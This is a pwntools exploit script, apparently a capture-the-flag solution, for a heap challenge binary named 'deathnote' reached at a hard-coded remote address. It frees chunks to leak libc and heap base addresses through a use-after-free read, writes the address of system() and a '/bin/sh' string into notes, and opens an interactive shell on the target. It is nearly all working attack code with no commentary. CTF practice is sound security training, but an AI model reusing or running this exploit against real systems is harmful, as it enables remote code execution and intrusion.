1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0 IP = "83.136.255.230" PORT = 34980
elf = context.binary = ELF('./deathnote') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def add(idx,size,content): sla("💀","1") sla("💀",str(size)) sla("💀",str(idx)) sa("💀",content)
def delete(idx): sla("💀","2") sla("💀",str(idx))
def show(idx): sla("💀","3") sla("💀",str(idx))
def exit(): sla("💀","42")
p = connect()
for i in range(9): add(i,0x80,"AAAA")
for i in range(8): delete(i)
show(7) ru("Page content: ") libc_base = u64(rl()[:-1].ljust(8,b'\x00')) - (0x73947561ace0 - 0x739475400000)
show(0) ru("Page content: ") key = u64(rl()[:-1].ljust(8,b'\x00')) heap_base = key << 12
success(f"libc_base ->{hex(libc_base)}") success(f"key ->{hex(key)}") success(f"heap_base ->{hex(heap_base)}")
system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))
print(str(hex(system))[2:]) payload = p64(0x68732f6e69622f)
add(0,0x80,str(hex(system))[2:]) add(1,0x80,payload)
exit()
p.interactive()
|